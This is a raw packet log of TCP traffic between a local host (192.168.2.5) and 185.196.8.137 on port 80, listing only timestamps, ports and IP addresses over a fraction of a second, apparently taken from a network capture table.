Apr 10, 2024 10:24:08.526527882 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.573780060 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.573780060 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.759943008 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.759969950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782263994 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782289028 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782296896 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782310009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782318115 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782330990 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782346010 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782360077 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782373905 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782387018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782399893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782397985 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782407999 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782419920 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782427073 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782439947 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782445908 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782454014 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782466888 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782469034 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782479048 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782490969 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782505035 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782512903 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782516003 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782529116 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782540083 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782542944 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782553911 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782563925 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782567024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782583952 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782622099 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782624006 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782636881 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782649994 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782663107 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782686949 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782701969 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782722950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782735109 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782751083 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782763958 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782777071 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782783985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782797098 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782797098 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782809019 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782814026 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782814980 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782821894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782836914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782844067 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782852888 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782865047 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782877922 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782891035 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782891989 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782902956 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782917976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782924891 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782931089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782943010 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782948971 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782955885 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782958031 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782968044 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782978058 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.782980919 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.782993078 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783005953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783006907 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783019066 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783046007 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783066988 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783072948 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783088923 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783102989 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783116102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783121109 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783128977 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783140898 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783149004 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783155918 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783168077 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783176899 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783180952 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783206940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783216000 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783220053 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783231974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783241034 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783245087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783258915 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783267021 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783296108 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783297062 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783310890 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783323050 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783338070 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783349037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783382893 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783382893 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783392906 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783418894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783431053 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783443928 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783456087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783468962 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783480883 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783484936 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783513069 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783515930 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783526897 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783529043 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783541918 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783555031 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783566952 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783566952 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783581972 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783595085 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783602953 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783607960 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783615112 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783620119 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783627987 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783641100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783653021 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783653975 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783665895 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783672094 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783699036 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783703089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783716917 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783730030 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783742905 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783746958 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783757925 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783771038 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783782959 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783785105 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783795118 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783812046 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783832073 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783852100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783865929 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783879042 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783891916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783898115 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783905029 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783919096 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783926964 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783953905 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783967018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783978939 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.783979893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.783993006 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784004927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784013987 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784017086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784029007 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784029961 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784048080 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784054041 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784068108 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784075022 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784080029 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784090042 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784102917 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784109116 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784116030 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784127951 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784131050 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784141064 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784152985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784161091 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784167051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784185886 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784207106 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784257889 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784271002 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784284115 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784296989 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784320116 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784321070 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784333944 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784344912 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784358025 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784374952 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784420013 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784434080 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784446001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784459114 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784466982 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784486055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784559011 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784574032 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784584999 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784596920 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784605026 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784610033 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784624100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784631014 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784636974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784657001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784665108 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784670115 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784682989 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784683943 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784696102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784708023 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784715891 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784715891 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784729004 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784737110 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784749985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784764051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784771919 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784778118 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784792900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784806013 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784806967 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784806967 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784821033 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784832954 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784847975 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784873962 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784887075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784894943 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784899950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784914017 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784924030 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784925938 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784940958 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784955978 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784955978 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784971952 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784984112 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.784986973 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.784997940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785007954 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785010099 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785022974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785026073 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785036087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785049915 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785062075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785068035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785075903 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785077095 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785089016 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785098076 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785103083 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785115957 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785128117 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785130024 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785146952 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785155058 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785185099 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785197973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785209894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785222054 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785228014 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785233974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785248995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785263062 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785274029 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785281897 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785289049 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785295010 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785301924 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785315037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785327911 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785329103 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785342932 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785356045 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785356998 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785370111 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785382986 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785394907 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785408974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785417080 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785423040 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785435915 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785449982 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785451889 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785461903 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785475969 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785480022 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785490036 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785502911 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785507917 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785516024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785525084 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785528898 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785543919 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785553932 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785557032 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785568953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785594940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785594940 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785608053 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785625935 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785649061 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785862923 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785877943 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785891056 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785923004 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.785973072 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785986900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.785998106 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786010981 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786024094 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786025047 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786036015 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786041975 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786050081 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786058903 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786062002 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786075115 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786087990 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786092997 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786102057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786115885 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786129951 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786132097 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786143064 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786155939 CEST	80	49717	185.196.8.137	192.168.2.5
